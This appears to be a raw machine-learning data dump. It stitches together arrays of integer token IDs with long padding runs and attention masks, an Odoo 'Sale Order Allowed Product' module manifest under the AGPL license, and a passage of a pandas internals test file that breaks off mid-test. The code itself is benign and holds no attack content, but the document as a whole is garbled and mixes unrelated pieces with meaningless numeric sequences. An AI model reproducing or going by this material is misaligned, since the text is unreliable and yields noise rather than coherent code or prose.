32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ddico/odoomrp-wip
sale_order_allowed_product/__openerp__.py
17
1484
# -*- encoding: utf-8 -*- ############################################################################## # # Copyright (c) # 2015 Serv. Tec. Avanzados - Pedro M. Baeza (http://www.serviciosbaeza.com) # 2015 AvanzOsc (http://www.avanzosc.es) # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as published # by the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## { "name": "Sale Order Allowed Product", "version": "1.0", "author": "OdooMRP team," "AvanzOSC," "Serv. Tecnol. Avanzados - Pedro M. Baeza", "website": "http://www.odoomrp.com", "category": "Sale", "depends": [ "base", "sale", "product_supplierinfo_for_customer", ], "data": [ "views/res_partner_view.xml", "views/sale_order_view.xml", ], "installable": True, }
agpl-3.0
[ 3, 1882, 2644, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 1898, 334, 67, 9, 199, 3, 259, 6900, 3739, 86, 14, 377, 825, 14, 16599, 290, 90, 20257, 446, 510, 379, 293, 603, 14, 699, 3624, 8076, 334, 1014, 921, 1544, 14, 332, 433, 559, 736, 28363, 8076, 14, 957, 9, 199, 3, 259, 6900, 16599, 290, 90, 47, 551, 334, 1014, 921, 1544, 14, 1214, 290, 18070, 551, 14, 397, 9, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 199, 3, 259, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 91, 272, 298, 354, 582, 298, 30005, 9240, 27301, 12705, 401, 272, 298, 1023, 582, 298, 17, 14, 16, 401, 272, 298, 2502, 582, 298, 47, 16766, 45, 18612, 8099, 4589, 1598, 298, 6651, 290, 90, 31799, 4589, 1598, 298, 1505, 86, 14, 377, 825, 78, 393, 14, 16599, 290, 90, 20257, 446, 510, 379, 293, 603, 14, 699, 3624, 8076, 401, 272, 298, 7360, 582, 298, 1014, 921, 1544, 14, 364, 7501, 4599, 14, 957, 401, 272, 298, 3710, 582, 298, 30005, 401, 272, 298, 8912, 582, 359, 267, 298, 1095, 401, 267, 298, 8515, 401, 267, 298, 2558, 63, 17294, 815, 63, 509, 63, 10178, 401, 272, 2156, 272, 298, 576, 582, 359, 267, 298, 4196, 15, 470, 63, 3899, 63, 1345, 14, 1652, 401, 267, 298, 4196, 15, 8515, 63, 1648, 63, 1345, 14, 1652, 401, 272, 2156, 272, 298, 21762, 582, 715, 12, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2644, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 1898, 334, 67, 9, 199, 3, 259, 6900, 3739, 86, 14, 377, 825, 14, 16599, 290, 90, 20257, 446, 510, 379, 293, 603, 14, 699, 3624, 8076, 334, 1014, 921, 1544, 14, 332, 433, 559, 736, 28363, 8076, 14, 957, 9, 199, 3, 259, 6900, 16599, 290, 90, 47, 551, 334, 1014, 921, 1544, 14, 1214, 290, 18070, 551, 14, 397, 9, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 3267, 199, 3, 259, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 259, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 91, 272, 298, 354, 582, 298, 30005, 9240, 27301, 12705, 401, 272, 298, 1023, 582, 298, 17, 14, 16, 401, 272, 298, 2502, 582, 298, 47, 16766, 45, 18612, 8099, 4589, 1598, 298, 6651, 290, 90, 31799, 4589, 1598, 298, 1505, 86, 14, 377, 825, 78, 393, 14, 16599, 290, 90, 20257, 446, 510, 379, 293, 603, 14, 699, 3624, 8076, 401, 272, 298, 7360, 582, 298, 1014, 921, 1544, 14, 364, 7501, 4599, 14, 957, 401, 272, 298, 3710, 582, 298, 30005, 401, 272, 298, 8912, 582, 359, 267, 298, 1095, 401, 267, 298, 8515, 401, 267, 298, 2558, 63, 17294, 815, 63, 509, 63, 10178, 401, 272, 2156, 272, 298, 576, 582, 359, 267, 298, 4196, 15, 470, 63, 3899, 63, 1345, 14, 1652, 401, 267, 298, 4196, 15, 8515, 63, 1648, 63, 1345, 14, 1652, 401, 272, 2156, 272, 298, 21762, 582, 715, 12, 199, 93, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nelango/ViralityAnalysis
model/lib/pandas/tests/test_internals.py
9
45145
# -*- coding: utf-8 -*- # pylint: disable=W0102 from datetime import datetime, date import nose import numpy as np import re import itertools from pandas import Index, MultiIndex, DataFrame, DatetimeIndex, Series, Categorical from pandas.compat import OrderedDict, lrange from pandas.sparse.array import SparseArray from pandas.core.internals import (BlockPlacement, SingleBlockManager, make_block, BlockManager) import pandas.core.common as com import pandas.core.internals as internals import pandas.util.testing as tm import pandas as pd from pandas.util.testing import ( assert_almost_equal, assert_frame_equal, randn, assert_series_equal) from pandas.compat import zip, u def assert_block_equal(left, right): assert_almost_equal(left.values, right.values) assert(left.dtype == right.dtype) assert_almost_equal(left.mgr_locs, right.mgr_locs) def get_numeric_mat(shape): arr = np.arange(shape[0]) return np.lib.stride_tricks.as_strided( x=arr, shape=shape, strides=(arr.itemsize,) + (0,) * (len(shape) - 1)).copy() N = 10 def create_block(typestr, placement, item_shape=None, num_offset=0): """ Supported typestr: * float, f8, f4, f2 * int, i8, i4, i2, i1 * uint, u8, u4, u2, u1 * complex, c16, c8 * bool * object, string, O * datetime, dt, M8[ns], M8[ns, tz] * timedelta, td, m8[ns] * sparse (SparseArray with fill_value=0.0) * sparse_na (SparseArray with fill_value=np.nan) * category, category2 """ placement = BlockPlacement(placement) num_items = len(placement) if item_shape is None: item_shape = (N,) shape = (num_items,) + item_shape mat = get_numeric_mat(shape) if typestr in ('float', 'f8', 'f4', 'f2', 'int', 'i8', 'i4', 'i2', 'i1', 'uint', 'u8', 'u4', 'u2', 'u1'): values = mat.astype(typestr) + num_offset elif typestr in ('complex', 'c16', 'c8'): values = 1.j * (mat.astype(typestr) + num_offset) elif typestr in ('object', 'string', 'O'): values = np.reshape(['A%d' % i for i in mat.ravel() + num_offset], shape) elif typestr in ('b','bool',): values = np.ones(shape, dtype=np.bool_) elif typestr in ('datetime', 'dt', 'M8[ns]'): values = (mat * 1e9).astype('M8[ns]') elif typestr.startswith('M8[ns'): # datetime with tz m = re.search('M8\[ns,\s*(\w+\/?\w*)\]', typestr) assert m is not None, "incompatible typestr -> {0}".format(typestr) tz = m.groups()[0] assert num_items == 1, "must have only 1 num items for a tz-aware" values = DatetimeIndex(np.arange(N) * 1e9, tz=tz) elif typestr in ('timedelta', 'td', 'm8[ns]'): values = (mat * 1).astype('m8[ns]') elif typestr in ('category',): values = Categorical([1,1,2,2,3,3,3,3,4,4]) elif typestr in ('category2',): values = Categorical(['a','a','a','a','b','b','c','c','c','d']) elif typestr in ('sparse', 'sparse_na'): # FIXME: doesn't support num_rows != 10 assert shape[-1] == 10 assert all(s == 1 for s in shape[:-1]) if typestr.endswith('_na'): fill_value = np.nan else: fill_value = 0.0 values = SparseArray([fill_value, fill_value, 1, 2, 3, fill_value, 4, 5, fill_value, 6], fill_value=fill_value) arr = values.sp_values.view() arr += (num_offset - 1) else: raise ValueError('Unsupported typestr: "%s"' % typestr) return make_block(values, placement=placement, ndim=len(shape)) def create_single_mgr(typestr, num_rows=None): if num_rows is None: num_rows = N return SingleBlockManager( create_block(typestr, placement=slice(0, num_rows), item_shape=()), np.arange(num_rows)) def create_mgr(descr, item_shape=None): """ Construct BlockManager from string description. String description syntax looks similar to np.matrix initializer. It looks like this:: a,b,c: f8; d,e,f: i8 Rules are rather simple: * see list of supported datatypes in `create_block` method * components are semicolon-separated * each component is `NAME,NAME,NAME: DTYPE_ID` * whitespace around colons & semicolons are removed * components with same DTYPE_ID are combined into single block * to force multiple blocks with same dtype, use '-SUFFIX':: 'a:f8-1; b:f8-2; c:f8-foobar' """ if item_shape is None: item_shape = (N,) offset = 0 mgr_items = [] block_placements = OrderedDict() for d in descr.split(';'): d = d.strip() names, blockstr = d.partition(':')[::2] blockstr = blockstr.strip() names = names.strip().split(',') mgr_items.extend(names) placement = list(np.arange(len(names)) + offset) try: block_placements[blockstr].extend(placement) except KeyError: block_placements[blockstr] = placement offset += len(names) mgr_items = Index(mgr_items) blocks = [] num_offset = 0 for blockstr, placement in block_placements.items(): typestr = blockstr.split('-')[0] blocks.append(create_block(typestr, placement, item_shape=item_shape, num_offset=num_offset,)) num_offset += len(placement) return BlockManager(sorted(blocks, key=lambda b: b.mgr_locs[0]), [mgr_items] + [np.arange(n) for n in item_shape]) class TestBlock(tm.TestCase): _multiprocess_can_split_ = True def setUp(self): # self.fblock = get_float_ex() # a,c,e # self.cblock = get_complex_ex() # # self.oblock = get_obj_ex() # self.bool_block = get_bool_ex() # self.int_block = get_int_ex() self.fblock = create_block('float', [0, 2, 4]) self.cblock = create_block('complex', [7]) self.oblock = create_block('object', [1, 3]) self.bool_block = create_block('bool', [5]) self.int_block = create_block('int', [6]) def test_constructor(self): int32block = create_block('i4', [0]) self.assertEqual(int32block.dtype, np.int32) def test_pickle(self): def _check(blk): assert_block_equal(self.round_trip_pickle(blk), blk) _check(self.fblock) _check(self.cblock) _check(self.oblock) _check(self.bool_block) def test_mgr_locs(self): assert_almost_equal(self.fblock.mgr_locs, [0, 2, 4]) def test_attrs(self): self.assertEqual(self.fblock.shape, self.fblock.values.shape) self.assertEqual(self.fblock.dtype, self.fblock.values.dtype) self.assertEqual(len(self.fblock), len(self.fblock.values)) def test_merge(self): avals = randn(2, 10) bvals = randn(2, 10) ref_cols = Index(['e', 'a', 'b', 'd', 'f']) ablock = make_block(avals, ref_cols.get_indexer(['e', 'b'])) bblock = make_block(bvals, ref_cols.get_indexer(['a', 'd'])) merged = ablock.merge(bblock) assert_almost_equal(merged.mgr_locs, [0, 1, 2, 3]) assert_almost_equal(merged.values[[0, 2]], avals) assert_almost_equal(merged.values[[1, 3]], bvals) # TODO: merge with mixed type? def test_copy(self): cop = self.fblock.copy() self.assertIsNot(cop, self.fblock) assert_block_equal(self.fblock, cop) def test_reindex_index(self): pass def test_reindex_cast(self): pass def test_insert(self): pass def test_delete(self): newb = self.fblock.copy() newb.delete(0) assert_almost_equal(newb.mgr_locs, [2, 4]) self.assertTrue((newb.values[0] == 1).all()) newb = self.fblock.copy() newb.delete(1) assert_almost_equal(newb.mgr_locs, [0, 4]) self.assertTrue((newb.values[1] == 2).all()) newb = self.fblock.copy() newb.delete(2) assert_almost_equal(newb.mgr_locs, [0, 2]) self.assertTrue((newb.values[1] == 1).all()) newb = self.fblock.copy() self.assertRaises(Exception, newb.delete, 3) def test_split_block_at(self): # with dup column support this method was taken out # GH3679 raise nose.SkipTest("skipping for now") bs = list(self.fblock.split_block_at('a')) self.assertEqual(len(bs), 1) self.assertTrue(np.array_equal(bs[0].items, ['c', 'e'])) bs = list(self.fblock.split_block_at('c')) self.assertEqual(len(bs), 2) self.assertTrue(np.array_equal(bs[0].items, ['a'])) self.assertTrue(np.array_equal(bs[1].items, ['e'])) bs = list(self.fblock.split_block_at('e')) self.assertEqual(len(bs), 1) self.assertTrue(np.array_equal(bs[0].items, ['a', 'c'])) bblock = get_bool_ex(['f']) bs = list(bblock.split_block_at('f')) self.assertEqual(len(bs), 0) def test_get(self): pass def test_set(self): pass def test_fillna(self): pass def test_repr(self): pass class TestDatetimeBlock(tm.TestCase): _multiprocess_can_split_ = True def test_try_coerce_arg(self): block = create_block('datetime', [0]) # coerce None none_coerced = block._try_coerce_args(block.values, None)[2] self.assertTrue(pd.Timestamp(none_coerced) is pd.NaT) # coerce different types of date bojects vals = (np.datetime64('2010-10-10'), datetime(2010, 10, 10), date(2010, 10, 10)) for val in vals: coerced = block._try_coerce_args(block.values, val)[2] self.assertEqual(np.int64, type(coerced)) self.assertEqual(pd.Timestamp('2010-10-10'), pd.Timestamp(coerced)) class TestBlockManager(tm.TestCase): _multiprocess_can_split_ = True def setUp(self): self.mgr = create_mgr('a: f8; b: object; c: f8; d: object; e: f8;' 'f: bool; g: i8; h: complex') def test_constructor_corner(self): pass def test_attrs(self): mgr = create_mgr('a,b,c: f8-1; d,e,f: f8-2') self.assertEqual(mgr.nblocks, 2) self.assertEqual(len(mgr), 6) def test_is_mixed_dtype(self): self.assertFalse(create_mgr('a,b:f8').is_mixed_type) self.assertFalse(create_mgr('a:f8-1; b:f8-2').is_mixed_type) self.assertTrue(create_mgr('a,b:f8; c,d: f4').is_mixed_type) self.assertTrue(create_mgr('a,b:f8; c,d: object').is_mixed_type) def test_is_indexed_like(self): mgr1 = create_mgr('a,b: f8') mgr2 = create_mgr('a:i8; b:bool') mgr3 = create_mgr('a,b,c: f8') self.assertTrue(mgr1._is_indexed_like(mgr1)) self.assertTrue(mgr1._is_indexed_like(mgr2)) self.assertTrue(mgr1._is_indexed_like(mgr3)) self.assertFalse(mgr1._is_indexed_like( mgr1.get_slice(slice(-1), axis=1))) def test_duplicate_ref_loc_failure(self): tmp_mgr = create_mgr('a:bool; a: f8') axes, blocks = tmp_mgr.axes, tmp_mgr.blocks blocks[0].mgr_locs = np.array([0]) blocks[1].mgr_locs = np.array([0]) # test trying to create block manager with overlapping ref locs 